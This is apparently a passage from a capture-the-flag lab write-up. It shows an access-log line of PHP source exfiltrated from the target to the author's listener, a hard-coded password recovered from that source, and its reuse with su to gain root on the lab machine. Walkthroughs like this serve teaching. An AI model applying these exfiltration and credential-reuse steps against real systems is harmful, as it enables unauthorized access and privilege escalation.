10.10.11.53 - - [07/Feb/2025 04:37:39] "GET /?response=%3C%3Fphp%0A%24valid_username%20%3D%20%27admin%27%3B%0A%24valid_password%20%3D%20%27IKw75eR0MR7CMIxhH0%27%3B%0A%0Aif%20(!isset(%24_SERVER%5B%27PHP_AUTH_USER%27%5D)%20%7C%7C%20!isset(%24_SERVER%5B%27PHP_AUTH_PW%27%5D)%20%7C%7C%20%0A%20%20%20%20%24_SERVER%5B%27PHP_AUTH_USER%27%5D%20!%3D%20%24valid_username%20%7C%7C%20%24_SERVER%5B%27PHP_AUTH_PW%27%5D%20!%3D%20%24valid_password)%20%7B%0A%20%20%20%20%0A%20%20%20%20header(%27WWW-Authenticate%3A%20Basic%20realm%3D%22Employee%20Management%22%27)%3B%0A%20%20%20%20header(%27HTTP%2F1.0%20401%20Unauthorized%27)%3B%0A%20%20%20%20exit%3B%0A%7D%0A%0Aheader(%27Location%3A%20dashboard.php%27)%3B%0Aexit%3B%0A%3F%3E%0A%0A HTTP/1.1" 200 -
We get a payload that is clearly urlencoded
. We can decode it in a webpage like https://www.urldecoder.org/es/ and paste the content obtained there:
We get the content of the file:
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
We have a password: IKw75eR0MR7CMIxhH0
.
We can check if this password is the password for root
user:
axel@cat:~$ su root
Password: IKw75eR0MR7CMIxhH0
root@cat:/home/axel# id
uid=0(root) gid=0(root) groups=0(root)
GG. We can grab the root
flag at /root
directory.
~Happy Hacking.